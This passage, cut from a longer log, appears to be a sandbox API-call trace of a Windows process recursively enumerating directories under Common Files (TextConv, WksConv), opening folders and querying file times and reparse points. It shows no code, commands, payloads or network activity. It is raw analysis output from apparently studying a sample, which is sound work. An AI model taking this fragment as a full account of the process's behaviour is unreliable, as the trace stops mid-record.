Prints.htm", cAlternateFileName="")) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421b90a4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x421b90a4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x827f32dc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421b90a4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x421b90a4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41f57aa4, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421df204, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x421df204, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x8283f59c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421df204, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x421df204, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41fa3d64, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42205364, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42205364, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x828d7b1c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42205364, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42205364, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41ff0024, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4222b4c4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4222b4c4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x828fdc7c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4222b4c4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4222b4c4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x42016184, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42251624, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42251624, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x82949f3c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42251624, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42251624, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x42062444, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0087.234] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42277784, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42277784, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x829961fc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0087.234] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42277784, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42277784, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x420ae704, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0087.234] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4229d8e4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4229d8e4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x829bc35c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0087.234] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4229d8e4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4229d8e4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x829bc35c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0 [0087.234] GetLastError () returned 0x12 [0087.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.234] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1303310) returned 1 [0087.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0087.235] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.236] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.236] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.236] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.236] NtClose (Handle=0x16c) returned 0x0 [0087.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.237] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0087.239] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.239] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.239] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e32460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WksConv", cAlternateFileName="")) returned 1 [0087.239] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e32460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WksConv", cAlternateFileName="")) returned 0 [0087.239] GetLastError () returned 0x12 [0087.239] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0087.239] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.239] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.239] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303310 [0087.240] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.241] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.241] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.241] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.242] NtClose (Handle=0x16c) returned 0x0 [0087.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1303310) returned 1 [0087.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303310 [0087.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.243] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.243] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.243] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.243] GetLastError () returned 0x12 [0087.243] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0087.243] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.243] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.244] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.244] GetLastError () returned 0x12 [0087.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.244] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1303310) returned 1 [0087.244] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e32460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WksConv", cAlternateFileName="")) returned 1 [0087.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303310 [0087.245] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\wksconv"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e32460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.246] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\wksconv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0087.246] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.246] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.246] NtClose (Handle=0x180) returned 0x0 [0087.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1303310) returned 1 [0087.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303310 [0087.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.248] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0087.248] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e32460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.248] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe422fc00, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xd6e585c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe422fc00, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x124ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wkconv.exe", cAlternateFileName="")) returned 1 [0087.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.249] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe422fc00, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xd6e585c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe422fc00, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x124ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wkconv.exe", cAlternateFileName="")) returned 0 [0087.249] GetLastError () returned 0x12 [0087.249] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.250] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.250] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e32460, 